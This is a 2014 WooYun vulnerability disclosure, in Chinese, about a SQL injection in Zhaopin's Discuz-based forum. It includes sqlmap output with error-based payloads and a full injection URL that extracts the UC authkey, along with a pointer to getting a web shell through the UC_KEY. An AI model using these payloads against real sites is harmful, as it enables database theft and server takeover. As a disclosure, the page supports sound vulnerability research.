当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067025

漏洞标题:智联招聘论坛从sql注入漏洞到getshell(利用实例)

相关厂商:智联招聘

漏洞作者: 腰上有胸器

提交时间:2014-07-02 18:11

修复时间:2014-08-16 18:12

公开时间:2014-08-16 18:12

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-02: 细节已通知厂商并且等待厂商处理中
2014-07-03: 厂商已经确认,细节仅向厂商公开
2014-07-13: 细节向核心白帽子及相关领域专家公开
2014-07-23: 细节向普通白帽子公开
2014-08-02: 细节向实习白帽子公开
2014-08-16: 细节向公众公开

简要描述:

智联招聘#sql注入漏洞

详细说明:

http://bbs.zhaopin.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)
sqlmap identified the following injection points with a total of 743 HTTP(s) requests:
---
Place: GET
Parameter: gids[100][0]
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: action=grouppermission&gids[99]='&gids[100][0]=-3235) OR 1 GROUP BY CONCAT(0x7166736f71,(SELECT (CASE WHEN (4900=4900) THEN 1 ELSE 0 END)),0x7161676871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web application technology: PHP 5.2.6, Apache
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: gids[100][0]
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: action=grouppermission&gids[99]='&gids[100][0]=-3235) OR 1 GROUP BY CONCAT(0x7166736f71,(SELECT (CASE WHEN (4900=4900) THEN 1 ELSE 0 END)),0x7161676871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web application technology: PHP 5.2.6, Apache
back-end DBMS: MySQL 5
available databases [3]:
[*] discuz
[*] information_schema
[*] test
都知道这里有注入,那么如何更好的利用呢?
下面说一下getshell的方法:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20union%20select%201%20from%20(select%20count(*),concat(0x23,(select%20md5(authkey)%20from%20cdb_uc_applications%20limit%201),0x23,floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b--%20a


得到uc_key

6fc64444920b*****f9110e0b3d92629


uc_key getshell
WooYun: Discuz的利用UC_KEY进行getshell

漏洞证明:

QQ图片20140702172005.jpg


57D1EBEF-D325-4D1C-BFDC-5D63B435E983.png


修复方案:

版权声明:转载请注明来源 腰上有胸器@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-07-03 08:47

厂商回复:

感谢你对智联招聘网站安全的关注,问题由第三方平台引起,问题处理中。

最新状态:

暂无